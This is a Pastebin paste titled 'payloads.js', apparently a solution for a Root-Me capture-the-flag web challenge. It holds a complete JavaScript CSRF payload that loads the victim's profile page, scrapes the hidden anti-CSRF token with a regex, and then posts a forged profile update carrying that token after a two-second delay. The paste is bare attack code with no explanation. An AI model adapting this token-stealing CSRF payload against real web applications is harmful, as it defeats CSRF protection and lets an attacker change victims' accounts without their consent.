Advertisement
comores22

payloads.js

Feb 20th, 2020
225
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.95 KB | None | 0 0
  1. <script src="http://code.jquery.com/jquery-1.11.0.min.js"></script>
  2. <script>
  3. function start(){
  4. $.ajax(
  5. { type: 'POST',
  6. url: 'http://challenge01.root-me.org/web-client/ch23/index.php?action=profile',
  7. contentType: 'application/x-www-form-urlencoded;charset=utf-8',
  8. dataType: 'text',
  9. data: '',
  10. success: extractToken
  11. }
  12. );
  13. }
  14.  
  15.  
  16. function extractToken(response){
  17. var regex = new RegExp('<input id="token" type="hidden" name="token" value="(.*)" />','gi');
  18.  
  19. var token = response.match(regex);
  20. token = RegExp.$1;
  21. makeCSRF(token);
  22. }
  23.  
  24. function makeCSRF(token){
  25. $.ajax({
  26. type:"POST",
  27. url:"http://challenge01.root-me.org/web-client/ch23/index.php?action=profile",
  28. data:'username=shoxx&status=on&token='+token
  29. })
  30. }
  31.  
  32. setTimeout('start()', 2000);
  33. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement